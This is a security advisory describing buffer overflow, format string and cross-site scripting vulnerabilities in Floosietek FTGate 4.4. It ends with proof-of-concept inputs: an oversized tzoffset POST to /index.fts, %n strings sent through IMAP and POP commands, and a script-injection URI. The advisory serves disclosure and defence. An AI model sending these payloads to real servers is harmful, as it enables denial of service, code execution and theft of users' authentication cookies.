Discussion

Floosietek FTGate Multiple Remote Vulnerabilities

Floosietek FTGate is prone to multiple remote vulnerabilities. These issues are identified as buffer overflow, format string, and cross-site scripting vulnerabilities.

Successful exploitation of the buffer overflow and format string vulnerabilities could result in a denial of service or execution of arbitrary code in the context of the affected server process.

An attacker may leverage the cross-site scripting issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

FTGate 4.4 (build 4.4.000) is reportedly vulnerable to these issues; other versions may also be affected.

Exploit / POC

The following proof of concept examples are provided:

The buffer overflow vulnerability may be demonstrated with the following POST data to '/index.fts':
config=1&param1=&href=&tzoffset=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&admin=administrator%40example.com&password=test12345

The IMAP format string vulnerabilities may be demonstrated with the following commands:
01 LIST (%25n times 1024) *
02 AUTHENTICATE (%25n times 1024)

The POP format string vulnerabilities may be demonstrated with the following commands:
USER (%n times 20)
PASS (%n times 20)
TOP (%n times 20) 1

The cross-site scripting vulnerability may be demonstrated with the following URI:
http://www.example.com/index.fts?href="><script>alert('XSS-magic-string');</script>
